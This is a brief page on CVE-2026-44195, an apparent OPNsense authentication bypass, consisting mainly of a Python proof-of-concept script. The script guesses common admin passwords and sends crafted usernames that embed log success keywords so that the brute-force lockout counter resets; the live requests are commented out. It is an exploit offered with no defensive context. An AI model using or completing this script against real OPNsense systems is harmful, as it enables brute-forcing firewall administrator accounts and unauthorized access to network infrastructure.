CVE-2026-44195 OPNsense认证绕过漏洞

import requests # Target configuration target_url = "https://<opnsense-ip>/index.php" username_target = "admin" # Keywords that trigger the counter reset based on the vulnerability description bypass_keywords = ["Accepted", "Successful login"] # Payload list including normal passwords and bypass attempts passwords = ["123456", "admin", "password", "root"] def exploit(): for pwd in passwords: # Step 1: Attempt normal brute force data = {'user': username_target, 'password': pwd} # r = requests.post(target_url, data=data) # Actual request print(f"[+] Trying password: {pwd}") # Step 2: Inject crafted username to reset lockout counter # The logic flaw resets the counter if the log line contains success keywords for keyword in bypass_keywords: bypass_user = f"test \"{keyword}\"" bypass_data = {'user': bypass_user, 'password': 'irrelevant'} # r = requests.post(target_url, data=bypass_data) # Actual request print(f"[*] Sending bypass payload with keyword: {keyword}") if __name__ == "__main__": exploit()